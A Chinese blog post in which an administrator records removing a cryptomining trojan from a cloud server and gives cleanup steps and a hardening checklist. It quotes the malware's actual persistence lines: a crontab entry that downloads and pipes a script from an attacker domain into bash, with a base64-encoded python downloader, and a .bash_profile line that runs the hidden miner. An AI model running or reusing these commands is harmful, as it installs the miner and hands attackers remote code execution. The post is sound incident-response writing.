第一次遭遇挖矿木马的攻击,写下本文记录下清除木马的过程、应对思路以及后续处理。


发现问题

收到云服务提供商(阿里云)的警告,并发现服务器上部分关键进程会自动终止。

云服务提供商的警告

登录相关服务器,使用 top 命令查看进程列表,输入 P (即 shift + p) 使列表按 CPU 使用率排序,发现了占用了极大资源的不明进程:

top命令查看进程

(由于服务器没有运行 python 进程,因此列表中的 python 进程也很有问题)

至此可以确定服务器已经感染了木马。

首先想到的定时任务,使用 crontab -l 直接查看或使用 crontab -e 进入编辑界面。(crontab 命令可加入 -u 参数指定用户,如 -uroot)

1
2
*/30 * * * * (curl -s http://bash.givemexyz.in/xms||wget -q -O - http://bash.givemexyz.in/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei5pbi9kZC5weSIpLnJlYWQoKSkn | base64 -d | bash -; lwp-download http://bash.givemexyz.in/xms /tmp/xms; bash /tmp/xms
##

可以发现定时任务已经被篡改,而且无法保存修改,也无法使用 crontab -r 移除:

无法保存或删除

动手前的规划思考

第一次应对这种情况虽然有些慌乱,但我决定先从已有的信息开始,分析木马程序进行了那些操作之后再执行清除操作。

观察和收集信息

首先输入 \alias 命令查看设置的命令别名是否有被篡改,注意必须加入反斜杠保证 alias 本身没有被篡改。

然后观察 crontab 中被篡改的内容,大意为每 30 秒执行一个脚本,脚本内容为从某个网站上读取名为 xms 的文件并保存到本地、启动 bash 将文件内容用 base64 解码为 (python) 脚本并运行。使用 curl, wgetlwp-download 几个工具将文件保存在 working dir 和 /tmp 来保证成功率。

在之前的 top 命令中已经发现程序的 PID 一直在发生变化。

先手动中止进程看看:

1
ps aux | grep dbused | awk '{print $2}' | xargs kill -9

并没有用(虽然也在意料之中)。

使用 ps aux | grep python 看看另一个可疑的进程:

对于正在运行的 dbused 进程,即使用 ll /proc/{pid}lsof -p {pid} 来查看这个命令的具体位置,也只能得到一个被删除的位置:

同样是从该网站上读取文件 (dd.py) 并执行。

以域名 givemexyz 为关键字搜索,明确本次面对的是挖矿木马。

确定方向

在参考了其他文章之后,可以明确后续的方向:定时任务,开机任务,以及各种可能的可执行文件。

开始清除

中止 cron 服务

必须要先要中止 cron 服务,否则前脚刚删掉的文件,后脚又重新下载。使用 systemctl stop crond 中止,然后使用 systemctl status crond 命令确认,以及查看日志再次确认 cron 确实没有在运行:tail -20f /var/log/cron(这里应该能看到之前执行下载的脚本)。

修改文件属性

与木马相关的文件都被修改了文件属性,因此即使 root 用户拥有权限也无法对文件进行修改。此处需要两个命令:lsattr (查看文件属性) 和 chattr (修改文件属性)。

/var/spool/cron/crontabs/root 文件为例:

1
2
lsattr /var/spool/cron/crontabs/root
----ia-------e-- /var/spool/cron/crontabs/root

可以看到该文件包含了 ia 两个属性,其中 i 为 immuable,即不允许改变(无法删除、修改、重命名或被其他链接所引用);a 属性设置文件只能以 append 的方式进行打开。

属性的具体含义可参考 wikiwand: chattr (需科学)

使用 chattr (即 change attribute) 命令取消这两个属性:chattr -ia /var/spool/cron/crontabs/root

涉及的目录和文件

定时任务

查看 /var/spool/cron/, /etc/cron*. 包括 hourly, daily 等目录。将最近发生修改的文件都要检查一遍:

虽然文件名为 apache, nginx 看似正常,但由于修改时间大约在攻击发生的时候,因此不妨看看文件内容:

果然是有问题的文件,予以删除。

开机启动任务:

主要是 /var/init.d 目录下、最近发生过修改的文件,以及 /etc/rc* 下的 Symbol Link 文件。

系统命令目录

相关目录如 /bin, /sbin, /usr/bin, /usr/local/bin 最好都检查一遍。由于文件数量较多,可以使用 ls -halFt /bin/ | less 命令展示,其中 -t 参数使文件列表按修改时间排序。

在这次的情况中,有问题的是 /bin 目录,有 4 个新的文件:crondr, bprofr, initdr, sysdr。截图里没有前两个文件是因为它们已经在之前的操作中被删除了,到这一步剩下图中的两个最新的文件需要处理。

用户目录

发现 ~/.bash_profile 被修改,以及有一些意义不明的隐藏文件夹,均予以修改或删除(注意部分隐藏文件夹是正常的配置文件,别删错了)。

.bash_profile 被修改的内容:

1
cp -f -r -- /bin/bprofr /bin/dbused 2>/dev/null && /bin/dbused -c  >/dev/null 2>&1 && rm -rf -- /bin/dbused 2>/dev/null

这段脚本会在用户每次登陆 bash 的时候执行。将 bprofr 文件换个名字运行后删除,这样通过 pid 也找不到对应的文件。

双破折号 -- 是 bash 命令常用的符号,用于显式通知当前命令对于后续的内容无需再解析为选项:

1
2
3
touch -- -hello # 创建一个以破折号开头的文件'-hello'
cp -- -hello --hello # 将 '-hello' 复制为 '--hello'
rm -- -hello --hello ## 删除两个以破折号开头的文件

如果没有双破折号 --,则以破折号开头的内容会被解析为选项,进而报错而不执行。

2>/dev/null2>&1 为把错误输出分别重定向至 null (即不输出) 和标准输出。

其他

检查 .ssh/known_hosts, /etc/host* 相关的文件、防火墙配置等是否有被修改,以及删除 /tmp/ 下的可疑文件。

收尾工作

重启服务器,观察进程 (top)、观察定时任务 (tail -20f /var/log/cron) 是否正常。

check-list:

  • 启动防火墙,合理配置 ip 和端口的访问权限
  • 部署应用时首先要考虑外部访问和身份验证
  • 检查应用中存在文件上传的地方是否存在漏洞
  • 木马是否有向域中其他服务器横向移动的迹象
  • crontab 的备份和恢复
  • 防火墙配置的备份和恢复

存在的问题

分别用 last (查看用户 tty 登录的记录) 和 lastlog (查看各用户的最近登录时间) 、history (查看 bash 操作记录) 等均无特别的发现,即记录没有被清空,也无可疑的记录。

实际上没能得出确切的入侵方式。

参考内容

  1. 8220挖矿团伙最新变种使用新漏洞对云服务器的攻击 - freebuf
  2. 恶意挖矿攻击现状分析 - 腾讯云
  3. Linux watchdogs 感染性隐藏挖矿病毒入侵还原录 - 安全客
  4. Cryptojacking(挖矿)攻击及其检测防御手法 - 安全客